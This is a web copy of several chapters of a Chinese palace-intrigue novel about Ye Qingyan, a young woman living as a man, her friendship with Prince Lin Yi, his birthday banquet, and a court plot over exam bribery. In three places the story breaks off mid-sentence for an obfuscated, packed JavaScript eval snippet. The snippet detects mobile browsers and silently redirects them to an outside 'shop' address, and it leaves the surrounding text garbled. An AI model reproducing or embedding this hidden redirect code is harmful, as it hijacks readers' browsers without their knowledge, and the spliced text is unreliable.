“少爷,您总算回来了。”她上前将人扶住。 同时哑婆婆也快步走了过来,两人一起搀着叶青言进屋。 将人扶着跨过门槛,望舒立时嘱咐哑婆婆去小厨房将已经煮好的醒酒茶取来。 哑婆婆依言去了。 屋里已经燃起了炭盆,热气熏的叶青言身上的酒气更重了,她难受地皱了皱眉头,抬手就开始扒拉自己身上的袍子。 望舒见状,赶紧帮她把外袍脱了,好在屋里暖和,便是只穿着中衣也不怕着凉。 望舒扶着叶青言到罗汉床上躺下,自己则蹲在一旁,灵巧地手指,力度适中地按着叶青言的太阳穴。 灯影绰约,在叶青言的脸上镀下一层柔柔的光芒,暖光的灯色衬得她的面容美得如同一帧不真实的画,即便日日对着这张面庞,望舒也依然忍不住惊艳。 她家姑娘生得这般美丽,却得一辈子隐藏美丽,实在可惜。 哑婆婆很快就端着醒酒茶走了进来。 听到脚步声,叶青言嚯一下睁开眼睛,看到进来的人是哑婆婆,有些慢半拍地反应过来自己已经回到了穿云院,一会儿,她又闭上了眼睛。 “少爷,您还是起来喝点醒酒茶吧,不然胃里得一直闹腾。”望舒放轻声音哄道。 叶青言没有动,闭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087286|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着眼睛,一副昏昏欲睡的模样。 望舒与哑婆婆对视一眼,两人默契地上前将人扶坐起来,一个撑着人,一个则端着茶碗一勺一勺地将醒酒汤给人喂下去。 叶青言全程都没有动,但也没有反抗,她是有意识的,就只是懒得动。 等喝完醒酒汤,望舒又去打了温水来,同哑婆婆一起,伺候着叶青言梳洗。 叶青言全程一动不动,就这么软着身子任由两人作为。 等她终于收拾好躺到床上,已经是后半夜了。 望舒两人也不打搅她,轻手轻脚地熄了灯,便退了出去。 第二天清晨,叶青言准时醒来,洗漱穿衣,静思明心,然后是锻炼身体,继续自己的学业之路。 关于中举后的庆贺事宜,叶勉、叶钰两位叔父都属意大办,宴请京都豪贵们过府庆贺,以向众人预示他们成国公府将再度崛起,但李氏和叶青言的意思都是家里人小贺一番即可,不必大办宴请。 这是大房的喜事,最后自然也以大房的意思为主。 但来自各个府邸的拜帖依然络绎不绝。 怡然居里,叶青欢嘟嘟囔囔地朝叶青言抱怨。 “母亲说若是从前便与咱们有往来的,就回帖同他们说日后找时间再聚,若是从前与咱们没有过往来的,则要将这些拜帖分成几份,诸如清流、勋贵等等,按照对方的实际情况,酌情一一回帖,万不能因此而得罪了对方……哥哥你是不知道,回帖也好难啊。” 说罢,叶青欢长长地叹了一口气。 自从上次叶老太太暗讽了叶青欢几句后,李氏也有了危机感,开始有意识地带着叶青欢一起打理府中诸事。 叶青欢也乖巧地跟着学习。 “辛苦欢姐儿了。”叶青言笑着给叶青欢倒了杯茶递过去。 叶青欢接过,喝了一口:“管家可真不容易。” 李氏好笑地看着她,说道:“这就觉得不容易了?你之后要学的可还有很多。” 叶青欢闻言,蹭蹭地挪坐到李氏身边,挽着她的手臂撒娇道:“我就不能不学吗?以后不当家不就好了。” 李氏轻轻点了点她的额头,宠溺道:“做人媳妇的总要学着当家的。” 叶青欢眨巴着眼睛看着李氏:“不做长媳不就好了?” 李氏一怔,像是想到了什么,揶揄地看着叶青欢一眼,笑道:“大户人家,稍微总还是要懂一些的,你慢慢学就是,娘不逼你。” “娘亲最好了!”叶青欢欢快道。 叶青言静坐着喝茶,见两人说的差不多了,这才站起,道:“母亲,等二殿下生辰之后,我想外出游学一阵。” “游学?”李氏皱眉,下意识问道,“眼看就要到年关了,你这个时候出门游学,可还能赶得上来年的春闱?” 叶青言的眼睫轻轻颤动了一下,她认真地看着李氏,道:“我有分寸的,定会在春闱之前赶回。” 李氏听罢,满意地点了点头,正想再说什么,却见下首之人,眼眸清亮,仍显稚嫩的面庞里透着种说不出来的意味,仿佛能够看到很多事物里隐着的真相,就像镜子一般,一时之间,李氏竟觉得自己被看透了。 她张了张嘴,半晌才道:“你为何会想这个时候出门游学?” 叶青言微笑了笑,道:“春闱将至,我想去南边看看,历来科举都是南方的学子占优,可见南面的师生在学习一道上要更胜北面一筹,当世好些大儒也都在南方定居,我想去那边看看,择其善者而从之,取长补短,如此,于年后的春闱也有助益。” 李氏沉吟片刻,颔首道:“也好,你素来沉稳,也有主见,我极放心。”顿了顿,李氏又提醒道,“虽然届时你作为伴读的差事已了,可二殿下与你情分非同一般,离开之前,你莫忘了将此事告知于她。” 叶青言:“孩儿省得。” 交代完正事,两人便没话再说,叶青言也不多留,当即告辞离开。 41. 上辈纠葛 林翊是九月初八的生辰。 初七这晚,郭皇后特意吩咐小厨房将做长寿面的食材都备齐了,这样等林翊明天一早过来请安时就能立马吃上。 “咱们小厨房腌制的小咸菜也备上一些,那个翊儿喜欢吃。” 一旁的宫女闻言,笑着应了:“娘娘如此记挂殿下,殿下知晓了定然欢喜。” 郭皇后也笑了笑,随后又嘱咐了其他一些事情。 宫女都一一应下。 …… 郭皇后刚吩咐完没多久,嘉和帝就过了来。 嘉和帝已经有十多天没进来后宫留宿,但他此番驾临椒房殿,众人倒也不觉得稀奇,因为每回二殿下生辰,陛下都要到皇后娘娘宫中过夜,即便是帝后关系最冷淡那会儿也不例外。 足见陛下对二殿下的爱重。 秋日桂花香浓,嘉和帝知晓郭皇后喜食花香之物,遂命御膳房特意做了些桂花软糕带了来。 因怕腻口,御膳房制作时没有往里加蜂蜜,而是熬了饴糖加进去,饴糖性温,既能润肺止咳,又不掩桂花的清香,吃着很是宜人。 郭皇后连着吃了两块,满口赞道:“膳房糕点师傅的手艺又精进了。” 嘉和帝看着妻子红润的脸颊,眼底倾泻出笑意,心头也因她的情绪而放松了下来,温声说道:“你喜欢便好,我过后让膳房的人常送些来。” 郭皇后闻言,却是摇了摇头:“天天吃就不觉得稀奇了。” 嘉和帝一想也是,便没再坚持。 “陛下可用过晚膳了?”郭皇后拿帕子擦了擦手,问道。 “我在贵妃那儿用了才来的,阿苓你不用忙活。”说着,嘉和帝拉过郭皇后的手,让她坐到自己身边,问,“最近可有觉得身子不适?” “我很好。”郭皇后说,“您不必担心。” 嘉和帝紧了紧掌中柔荑,双眼依旧一瞬不眨地看着对方。 郭皇后微笑着任由嘉和帝打量。 她知道对方在紧张什么,当年她生翊儿时难产,情况十分危急,差点就没能挺过来。那时还是太子的陛下刚好有事外出,若非府里还有当时还是太子良娣的高贵妃镇场,并将暗中做手脚的人一一拔除,只怕她已连着孩子一起魂归九泉。 自那以后,每年这个时间,陛下都会在她身边陪着。 两人手拉着手,静静坐了半晌,郭皇后问道:“蔷妹妹近来如何了?” “她挺好的,也让我问你好。”顿了顿,嘉和帝又道,“她给翊儿准备的生辰礼,我让人直接送去了翊儿府上。” 郭皇后听罢叹了口气:“这样也好,免得惹人注意。” 夜色渐浓,有些微寒。 嘉和帝轻轻将人揽进怀里,说道:“你别担心,用不了多久了,一切都会尘埃落定的。” “嗯。”郭皇后轻声应道,“不枉您和蔷妹妹筹谋了这么久。” 此时的清凉殿,灯火通明。 高贵妃正由两个宫女伺候着染指甲。 “娘娘,主家那边的传信,要如何回复?”一个四十岁上下,穿着一身老叶子绿葛绸斓衫的嬷嬷小心翼翼问道。 “我早就跟父亲说过,陛下已非初初登基时的陛下,皇帝始终是皇帝,父亲若不想谋权篡位还是得摆正自己的位置。”高贵妃看着自己染好丹蔻的手,淡淡说道。 “苏州传回的那事与主家并无关系,那不是老爷做的。”青衣嬷嬷斟酌了半晌,还是说道。 高贵妃抬眸看了过去。 那嬷嬷顶着高贵妃打量的目光,硬着头皮继续道:“那不过是些想浑水摸鱼的鼠辈,又岂会是老爷的安排,只是……陛下派都尉司去了苏州,老爷是担心都尉司的人会因此查到不该查的。” “父亲到底做了什么?”高贵妃皱眉问道。 老嬷嬷张了张嘴,半晌才道:“老爷他……他收买了苏州府、济南府,还有临安府的乡试考官……” “简直荒唐!”高贵妃厉声喝道,“南方乃科考重地,父亲这般作为就没想过后果?科举可是陛下最看重的政令,他这是触陛下的逆鳞!” 老嬷嬷见状缩了缩脖子,小心翼翼道:“老爷做事一向谨慎,此次也并未暴露……” “你传信让他收起那些侥幸的心思。”没等对方把话说完,高贵妃就出言打断了她,“都尉司是一定会查到那些被收买的考官的,沈昀的手腕可不容小觑。” “这可如何是好啊!”老嬷嬷有些急了,她是高府的家生子,全家老少都在高府当差,若高府出事,他们一家怕是也落不得好。 旁边伺候的两位宫女亦是,脸上纷纷露出慌张的神情。 高贵妃神情淡漠,居高临下地看着面露不安的老嬷嬷,良久,感觉时机差不多了,她笑了起来,颇有深意说道:“既然事情已经如此,那也只能弃车保帅了,好在咱们在南面的根基不深,弃了也就弃了,只要掌控住北面的局势,优势依然还在。” “哎哟我的娘娘啊,这种话,老奴哪里敢让人带给老爷。”老嬷嬷听罢叫苦不迭。 高贵妃想了想,道:“你告诉父亲,失去的已经失去,再后悔反省也无济于事,眼下最紧要的是保住现有的优势,只要竫儿顺利登基,咱们想要什么没有?” 老嬷嬷豁然开朗:“娘娘说的是,老奴这就下去通知。” “你去吧。”高贵妃摆了摆手。 “高朗真的会因此就放弃自己在南方的多年筹谋?”椒房殿里,郭皇后轻声问出了这个问题。 “他会的。”嘉和帝回答。 迎着郭皇后疑惑的目光,嘉和帝缓缓再道:“因为犯不上,他们还有退路可选,如此便不会破釜沉舟。” “是因为林竫。”一个疑问,郭皇后却以肯定的语气讲出。 嘉和帝点头:“只要最大的筹码还在,他们就会有所顾忌,因此而投鼠忌器。” “所以当初你和蔷妹妹才没有戳穿他们的谎言,任由他们混淆皇室血脉。” “这只是其中一部分原因,知道林竫并非我们的孩子已经是后来的事了,当年,若非蔷娘秘密回了一趟高府,只怕我们永远不知此事,也不会知道高老竟是死于自己亲生儿子之手。” 屋里的气氛顿时变得有些沉重。 有夜风吹来寒凉,纱帘所投下的阴影仿佛无数起伏的波浪。 “权力,是这个世上最可怕的东西。”良久,嘉和帝感慨道。 郭皇后却不这样认为,她道:“那非是权力之过,而是个人自己的选择。”沉默了会儿,郭皇后又道,“一个人会变成怎样的人,取决于他自己想成为怎样的人,而不是其他外在因素。” 嘉和帝一怔,觉得这话很有道理,便笑了起来,他抬手轻触了触郭皇后的脸,柔声道:“你说得不错,是我想得岔了。” 夜风拂面,郭皇后只觉一阵清爽,面颊却微有些热。 他们以往不常交流这些,因为他们见面的时间不多。 皇后不受皇帝宠爱,这是天下人皆知的事儿,既不受帝宠,那见面的时间自然不会多。 所以在这不多的见面时间里,他们当然要做一些对他们而言更有意义的事。 “都会过去的,你不要担心。”嘉和帝说道,“咱们早些安置吧。” “嗯。”郭皇后点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095799|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了点头,她明白陛下的意思。 话虽如此,可嘉和帝揽着她,郭皇后顺势靠在他怀中,好一会儿,两人都没有再出声。 夜渐渐深了。 沐浴过后的郭苓着一身大红色绣金线牡丹镶边的绸缎中衣,坐在镜子前慢悠悠地通着她那一头乌黑顺滑的长发。 嘉和帝已经拾掇好了,就坐在旁边,边拿着本书看边等她,不其然抬头一眼,就能看到对方莹白的侧脸,长长的睫毛低低地垂着。 察觉到旁边看来的目光,郭苓侧头与之对视一眼,笑了笑,而后继续看向镜中的自己。 宫人们都被打发去了外边,两人各自做着各自的事,气氛很是温馨。 待郭皇后通好头发,两人这才携手上床安歇。 幔帐落下,又是另一番天地。 次日一早,林翊准时过来请安。 对于嘉和帝也在此,林翊丝毫不觉意外,他利落地撩袍跪下,给郭皇后磕了三个响头。 “儿臣给母后请安。”顿了顿,又拱手对嘉和帝道,“见过父皇。” “快起来。”郭皇后亲自上前将人扶起,说话的声音温婉慈爱,“今儿是你的生辰,母亲让人准备了长寿面,你今早就在这儿陪父皇母后一起用膳。” 说罢,郭皇后朝一旁的宫女使了一个眼色。 那宫女当即退了下去,小厨房里,面条早就擀好了,只需吩咐一声就可以煮起来。 “都听母亲的。”林翊顺势站起,笑着说道。 看着已经比自己要高出半个头的儿子,郭皇后感叹道:“等过完这个生辰你就要出宫单过了。” “便是出宫住了,儿臣也会天天进宫来陪母后您一块儿用膳的。”林翊安慰说道。 郭皇后恬然一笑,神情稍有些落寞:“等开了府,你就得上朝议政,哪里还有那么多时间陪我用膳。” 嘉和帝见状,也开口说道:“就是政务再忙,陪你用个早膳的功夫也还是有的。” 林翊:“您看,连父皇都这么说了。” 郭皇后来回看了看父子二人,笑道:“你们啊,就知道哄我。罢了,不说这些,今晚在庆宁宫的生辰宴母亲都安排好了,你到时好好招待,毕竟还在宫里,少饮些酒。” “儿子晓得。” 郭皇后又絮絮说了一些别的事情,诸如给两位夫子的谢师礼,派去宫外府邸的人选等等。 林翊安静地听着,不时回应一二。 嘉和帝凝视着面前的两母子,薄唇微微上扬,眼底同时也有了笑意。 早膳很快就摆到了桌子上,一家三口一人一大碗寿面。 椒房殿小厨房厨娘的手艺很好,面条被擀得只有柳条尖那么细,根根筋道透亮,因为打了鸡蛋进去,咬着更觉弹牙,母鸡与火腿吊的汤,油全撇了去,再辅以酸菜、火腿丝、荷包蛋,吃起来香而不腻,很是美味。 桌上还另摆了煎饺、醋酱、辣酱等小碟子,方便主子们自己调味儿。 一家三口都吃的很满足。 用完早膳,又小坐了片刻,林翊便离开去了学宫。 这是他最后一天在南苑学宫里上课,可不能懈怠了。 大庆朝重视礼法,眼下正是他最惹人注意的时候,他的任何行为,都会引起众人的瞩目,是万万不能行差踏错的。 读书,然后上课,这依然是今日学宫生活的主旋律。 只除了不时有同窗上前来问候林翊生辰安康外,与往日无任何不同。 时光渐移,日头也渐移,碧蓝的天空渐渐变红,暮色满空。 越过高高的宫墙,隐约可以看到一抹夜色即将到来。 42. 林翊生辰 夜凉如水,映出一抹秋意,却没有寒意。 今夜的庆宁宫,灯火通明,尤其是林翊所居住的主殿,更是被装饰得仿佛琉璃宫一般。 叶青言是和沈昭一起到的,他们两人都是林翊身边的老面孔,所以也无需像旁人那样审核身份,便在一名小太监的带领下向着主殿走去。 还隔着很长一段距离,叶青言就看见主殿里所散发出的柔润光线,她认出那是夜明珠所散发的光芒。 能够散出这样亮眼的光芒,那得需要多少颗夜明珠?叶青言默默地想着,内心很是震撼,面上却没有流露任何情绪。 沈昭闲庭信步地走在叶青言身旁,不时打量一眼四周,突然感慨说道:“舅舅最看重的果然还是二表哥,瞧瞧这周围的布置,当初大表哥的十六岁生辰可没有这样大的排场。” 叶青言看了沈昭一眼,轻声道:“你小声一些,今天这样的日子,可莫要给殿下惹麻烦了。” 沈昭完全不以为意地耸了耸肩:“我又没有说错,本来就不能比嘛,明眼人哪个看不出来?” 沈昭这话说得十分平静,完全没有在意前方带路的小太监和旁边可能经过的其他人。 因为他有足够的底气。 他是大长公主之子。 他比大部分皇子、皇女都要得皇帝的喜爱,而皇帝最喜欢的,就是他的率直。 所以他才敢这般毫不避讳地道出这个人人讳莫如深的事实。 在前面带路的小太监在听到沈昭开口的当下,就不着痕迹地往前多走出数米,躬着身,垂着头,默默地走到了可以听到身后两位主子低声交谈的范围之外。 “真有差那么多?” 叶青言看着前方夜明珠所散发出的柔和光芒,心下很是好奇,无论她再如何稳重成熟,终究也只是个未满十六岁的少年人,再加之好友在侧,不由就小声地问了出来。 作为二皇子的伴读,叶青言与大皇子并无关系,所以大皇子的生辰宴她并未参加,但她也听旁人说起过那一场宴会,据说办得十分隆重,陛下还亲自赐了好几道菜。 其实皇子的生辰宴会与普通官宦子弟的并无不同,都是邀请同辈的亲戚好友们过府一聚。 只是皇家的宴会要更加隆重一些,所请的人也要更加尊贵一些。 “差得多了。”沈昭回答,“单单就咱们这一路走来所见到的,就不是那场生辰宴所能比的。” 叶青言看了看四周,不由皱起了眉头,轻声道:“照理不应如此。” 叶青言说话的声音很轻,但还是被沈昭捕捉到了,他想了想,道:“确实,陛下平素虽然偏爱二表哥,却也没有忽略过其他皇子,尤其是大表哥,因为是长子,陛下对他也是给予了厚望的。” 此次这般,就好像是……故意为之似的…… 可陛下为何要这么做? 两人不由都想到了近日朝堂喧嚣尘上的南方科考舞弊事件。 虽无切实的证据,但据闻此次科考舞弊与高府有关。 难道陛下是想以此来敲打高氏一族? 叶青言侧目同沈昭对视一眼,两人都在对方的眼里看到了自己的推测。 秋风在庭院里缭绕,园中那些或苍翠欲滴、或色泽艳丽的稀有花木在月光下伸展着腰肢,四周被布置了很多青意,与园中本来就存在的金黄落叶,形成鲜明的对照。 通往庆宁宫的宫道不长,叶青言两人很快就走到了主殿之外,二人顺着殿外那长长的石阶走了上去。 走进殿门,首先进入眼帘的,便是那些璀璨夺目的夜明珠,颗颗明珠一粒挨着一粒,虽光芒柔和,但这么多颗光聚在一起,还是很令人震撼的。 夜明珠不是油灯,即便夜风再大,光线也不会有丝毫偏移,所以宫殿处的门窗俱都开着,月光照进来,连带明珠的光芒一起,将这一方世界照得清清楚楚。 这是陛下在毫不掩饰地、尽情地向着所有人展示自己对嫡子的偏爱。 叶青言不着痕迹地打量着四周,殿内摆放着很多席位,有很多人已经到了,还有不少人在陆续到来。 大殿里不甚安静,却也不显嘈杂,已经落座的人们微笑地同左右席位的人寒暄,偶有人起身与亲友故识见礼谈笑。 气氛瞧着很是和谐。 沈昭带着叶青言走至靠近上首的位置上落座。 皇子的生辰宴不比皇家其他人的生辰宴,与宴者大都是些半大的孩子,身上也无功名,所以对于座位排次倒也没有那么多讲究,当然这里并不包括几位皇子的席位。 庆宁宫主殿的门窗全部开着,秋意入室分外浓郁。 沈昭和叶青言落座后没多久,四皇子便也到了,众人纷纷起身见礼。 四皇子笑着同众人寒暄,他的声音无比温和,给人一种亲切而清爽的感觉。 四皇子林端,是所有皇子中最不起眼的一个,他的生母惠妃曾是在御前伺候的宫女,嘉和帝因醉酒宠幸过她一次,只那一次,她就怀了龙嗣,诞下皇子后被封为昭仪,后又被晋为惠妃,其位只在贵妃之下。 四皇子为人温和,在京中风评极佳,可沈昭却极不喜他,眼下看他在众人面前谈笑,很是不屑地撇了撇嘴。 叶青言见状,推了推他,示意他注意表情管理,小声道:“四殿下其实人挺好的。” 沈昭闻言,挑眉微讽道:“我有说他不好吗?” 叶青言看着他:“你倒是没说,就是脸色难看的可以。” 沈昭哼了一声,道:“反正我就是不喜欢他。” 这是叶青言一直不理解的事情,问道:“可为什么啊?” “我觉得这个人太虚伪了。”沈昭看着人群中的林端说道,“你看他,笑得多假。” 叶青言顺势看了过去,人群中的林端,面含微笑,神情温和,给人一种如沐春风的感觉,哪里就笑得假了? 叶青言是这么想的,也这么问了出来。 沈昭:“……反正他就是虚伪!” 叶青言不赞成地摇了摇头:“没有实证,就不要诛心。” 沈昭冷笑,问:“你不觉得他无论谈吐还是行事都给人一种如沐春风的感觉吗?” 叶青言很疑惑,心想这难道不是褒奖吗? “他是个男人,有什么道理让我们一群人男人都觉得春风扑面?”沈昭不屑地作出自己的结论,“必有所图,而且所图甚大,你要离他远些。” 叶青言想了想,觉得这话很莫名,又莫名得有些道理…… 就在这时,大皇子和三皇子一起走进了大殿。 众人见状再次起身见礼。 大皇子微笑着示意众人落座。 叶青言抬眼朝两人看了过去,只见林竑脸色难看,便是始终微笑着的大皇子看见屋子里的布置,面色都有些僵硬,微暗的光线映照在他的脸上,显得有些阴郁。 即便是大皇子都有所怨怼,四皇子真能对此毫无芥蒂? 一阵凉风吹来,殿外的树叶被吹得沙沙作响,叶青言突然感到了些许凉意。 宾客到齐,主角自然也该出场了。 “二皇子到。” 随着庆宁宫主事太监的唱名声起,殿内忽然变得安静,却又在下一刻打破,众人纷纷起身行礼恭贺。 林翊的目光从人群里扫过,在叶青言的脸上定了一息。 两人相视一笑。 林翊今晚穿得格外齐整,中衣外头是绛紫色绣四爪海水金龙的盘领长袍,宽袖长襟,腰系玉带,头束金冠。 这身儿衣裳颜色深,紫色艳而不俗,质料的光泽柔和高贵,衬得林翊身上散发出来的贵气更加浓郁了起来,他瞧着也要比以往更加从容,眉眼间的神采也要更加明亮,连面容都仿佛变得更加清晰起来。 金龙锦袍,虽只四爪,等闲也不能上身,唯有皇帝御赐才可。 父皇竟赐了二弟四爪金龙袍! 父皇竟这般爱重二弟! 林竫坐在上首,面无表情地看着林翊,他的脸被光线照着,很是阴晴不定。 随着主事太监的宣布,宴会正式开始。 同一时间的清凉殿。 高贵妃居高临下地看着跪在下首请安的女子,良久,扯起嘴角,笑道:“起来吧。” “谢娘娘。”那女子谢恩起身。 “不必拘谨,过来坐。”高贵妃冲人招了招手。 那女子也不扭捏,笑着坐到了下首的一张杌子上,关心道:“娘娘近来身子可好?” “我能有什么不好,倒是你母亲,因着天气变凉,感染了风寒。”高贵妃说着叹息了一声。 女子见状连忙道:“我刚刚去看过母亲了,她吃了药,脸色好多了。”顿了顿,她又道,“还得谢谢娘娘您给母亲请了太医。” 女子这话说得十分诚恳,宫人生病惯来都是自己去找几帖药煎了吃,能不能痊愈只凭天意,可她母亲这么些年陪在贵妃娘娘身边,只要病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100225|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了都会有太医前来救治,这是娘娘给她们母女的恩典。 秋风从殿外灌入,拂动高贵妃额间的碎发,却拂不动她眼底的那一抹微笑:“说的什么傻话,你母亲是我乳娘的女儿,你如今又在竫儿身边伺候,你们都是我最信任的人,我自然要护着你们些。”高贵妃说着,拍了拍女子的手,“近来朝堂事多,高家惹了不少的事儿,竫儿那边,还要清川你多费心些。” 被唤清川的女子闻言连忙应下:“娘娘您放心,我定好好宽慰殿下。” 高贵妃满意地点了点头,似是想到了什么,忍不住抱怨道:“也是怪父亲,好好的去掺和什么科考,连累我竫儿也因此被陛下不满,咱们高氏在朝中的权利已经够大了,他竟还想去动陛下的逆鳞,不知道的还以为他想做……” 高贵妃及时收声,不着痕迹地说起了别的话题:“今夜是二皇子的生辰宴,竫儿难免会多饮些酒,你早些回去准备着,莫让他明早起来头疼。” “是。”清川恭敬应道。 方才高贵妃没有把话说完,但清川也不是猜测不到,想到殿下这几日总是因此情绪不佳,心中难免也对主家起了怨怼。 清川和她的母亲虽然一个在宫中伺候贵妃,一个去了大皇子府上伺候,可她们的卖身契都还握在高府手中,家里的其他亲眷也还在高府里伺候,所以名义上,她们仍是高家的人。 就在这时,屋外有宫人来报说陛下派人送了赏赐过来。 高贵妃面上一喜,便起身出去迎接赏赐。 清川不是清凉殿的人,便没有出去,只在里头听着。 锦缎、珍珠、玉器、头面,还有上好的胭脂水粉…… 今日是二皇子的生辰,陛下需得陪着皇后娘娘,却又派人送了赏赐过来,陛下对娘娘可真是爱重啊。清川听着外头的太监的禀报,内心感慨非常。 高贵妃很快就回了来,此时天已不早,高贵妃赏了清川一些物件后,就让她回了。 “你便早些回去,竫儿今日回府怕是心情不好,你要好好伺候着。” “是。”清川点头应道。 为了顿了顿,高贵妃叹息一声,继续道:“你让竫儿不要担心,终归我们母子在陛下心中还是有分量的,陛下眼下是恼了高氏才会如此,只是迁怒,你好好劝着竫儿,也让他好好说说父亲,莫再去触陛下的逆鳞。” 清川有些不解,却还是应了下来,直到夜间,林竫从宫中归来,她才明白贵妃娘娘那话何意。 陛下怎能如此对待殿下?殿下可是他的长子! 随即她又想到贵妃娘娘说得那些话和陛下给的那些赏赐……心下稍安的同时,对给殿下带来这些麻烦的高府也不由越加不满了起来。 她耐心地伺候着林竫,为他宽衣梳洗,并将自己今日进宫探望母亲所见,以及贵妃娘娘叮嘱细细说了出来。 清川说话的语气不急不躁,自带一股强大的说服力,奇异地抚平了林竫心里的不快,却也挑起了林竫对高氏的不满。 母亲说得不错,若非外祖在这节骨眼上惹恼父皇,父皇又怎会这般抬举老二来打自己的脸? 外祖他们居然将手伸到南方,伸到科举之上,他们这是想干什么? 想要造反不成? 当然这些都是后话,此时的林竫还在庆宁宫里祝贺。 林翊的这场生辰宴办得十分隆重,它仿佛是某种信号,让众人再一次认识到皇帝对嫡子的爱护。 林翊亦十分开怀,宴会一直持续到很晚才结束。 宴席上,林翊喝了不少,可他还是亲自将叶青言,连带沈昭送到了殿外。 “明日午后记得一定要来我府上,可别忘了。” 沈昭也喝得有些高了,听罢摆了摆手:“知道啦知道啦,表哥你都说过两回了,还说呢?” 林翊瞟他一眼,哼道:“不高兴你可以不来,我有阿言就够了。” 沈昭一噎:“我当然要来!二表哥您的乔迁之日,我就是腿断了都得来,阿言不来我也来。” “胡咧咧什么呢你?”林翊不高兴了,“阿言怎么可能不来!”说完,就看向了叶青言,目光柔和,温情脉脉。 叶青言一怔,半晌才反应过来殿下这是醉了,她无奈笑道:“殿下的好日子我当然不会缺席。” 林翊听罢满意地笑了。 夜风轻轻拂来,还带着些微的寒意,这个时候的林翊不会想到,他与阿言离别的时刻很快就要到来了。 43. 说服林翊 “什么?你说你要南下游学?”林翊惊愕地看向叶青言道。 叶青言点头:“行囊都已经准备好了,三日后就出发。” “三日后?”林翊愣了一下,随即笑着摆了摆手,“阿言你就别开玩笑了,再过三个月可就是除夕了,哪有人会选在这个时候出门游学。” “不是的殿下,我没有在开玩笑。”叶青言抬起眼,她很认真地看着林翊,很认真地回答,“我想出去看看,看看外面的天地,增长一下见识。” 此言一落,室内的气氛顿时变得压抑起来。 林翊收起面上的笑容,少年英俊的眉目一旦少了平日的玩世不恭,便显出一种超乎年纪的沉稳。 空气无端变得更重了,沉沉地压下来。 今日是林翊入住皇子府的第一日,叶青言和沈昭同他约好了午后过府庆贺。 三人把酒言欢,好不惬意,可这一切都在叶青言说出自己要南下游学后消散。 乍听这个消息,林翊一下就懵了,他先是错愕,而后是慌乱、不解,这些情绪在得到叶青言肯定的回答后,尽数化成了愤怒,他的胸膛因此而剧烈地上下起伏。 沈昭见状,下意识放下手中的杯盏,也收起了脸上那吊儿郎当的表情,严肃地看着林翊。 ——二表哥这模样,看着像是被气得狠了,等下可别对阿言动手。 若是让林翊知道沈昭此刻心中所想,他一定会为自己感到失败。 林翊当然不可能对叶青言动手,但他也确实被气得狠了。离京游学这样大的事情,阿言却连提都没跟他提过。 想到这里,林翊暗沉的眸底闪过一抹猩红。 此时天已向晚,斜阳慵懒地挂在树梢,金黄的光芒被枝叶切割成无数块细碎的光斑铺在地上,宛如斑驳绚烂的锦毯。 叶青言就坐在林翊旁边,眉目轻垂,阳光在她眼尾洒下一片阴影,让她看起来温和又无害。 看着这副模样的叶青言,林翊心中的火气不自觉就去了大半,他闭了闭眼,将内心存余的怒火悉数压下,道:“马上就要入冬了,你此时离京不安全,我不同意。”顿了顿,林翊缓了语气又道,“况且你还要参加来年的春闱,这次春闱就定在明年的三月初九,时间紧迫,你该好好温书才是。” 叶青言眨了眨眼,长长的睫毛如春日蝶翼一般美好:“我就是为了来年的春闱,才想着出去走走的,纸上得来终觉浅,我想多走走多看看,多多增长一些见识。” 林翊不以为意:“京城处天子脚下,乃大庆中心,你要增长见识何须去到其他地方。” 叶青言:“京城虽然繁华,可所能看到的始终有限,去外面看看,想来能学到更多东西。” “那也不必是现在,以你的才学,拿下春闱绰绰有余,何必选在这个时候出门游学,太不安全,若是耽误了来年的会试可就不美了。” “这个您不用担心,我是算过时间的。”叶青言温声笑说,“我三日后出发,一路南下,能赶在大雪封路之前到达金陵,南方温暖,不必担心天气问题,待到来年二月,冰雪消融,我再回程北上,定能在春闱之前回到京都,绝不会耽误会试。” 林翊真正担心的又哪里是会试?可无论他如何劝说,叶青言始终不为所动,心意甚坚。 这让林翊勉强压下的火气腾一下又冒了起来,阿言从未这样坚定地拒绝过自己,这让林翊有些无法适应,胸口像是被什么东西堵住了一般。 四周安静了一瞬,有秋风从屋外灌入,在桌椅与地板之间放肆地来回。 沈昭是个敏锐的,只一眼,就看出林翊心底的血雨腥风,他担心阿言再这样坚持,真要惹恼了表哥,忙道:“那你家中呢,你母亲也同意你这个时候出门?” 叶青言闻言手指微蜷,可她依旧坚定:“我此去是为了游学,只要是于科举有利的事情,母亲没有不愿意的。” 沈昭听罢哑口,连人至亲都同意了,他们这些外人还能再说什么? 